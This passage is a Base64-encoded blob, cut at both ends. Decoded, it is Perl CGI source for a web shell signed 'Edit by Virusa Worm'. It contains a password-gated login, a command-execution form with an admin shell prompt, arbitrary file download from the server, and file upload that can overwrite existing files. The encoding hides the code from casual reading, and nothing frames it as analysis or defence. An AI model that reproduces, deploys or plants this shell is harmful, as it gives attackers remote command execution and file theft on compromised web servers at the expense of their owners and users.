0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICA8Zm9udCBjb2xvcj0jRkYwMDAwPkVkaXQgYnkgVmlydXNhIFdvcm0gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iIG9uU3VibWl0PSJFbmNvZGVyKCdjJykiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiIGlkPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXJldHVybiA8PEVORDsNCjwvdGV4dGFyZWE+DQo8YnI+PGZvbnQgY29sb3I9eWVsbG93Pg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4NCjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4NCkVORA0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJbXkgJHJlc3VsdD0iIjsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJHJlc3VsdCAuPSA8PEVORDsNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KDQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+DQpFTkQNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXN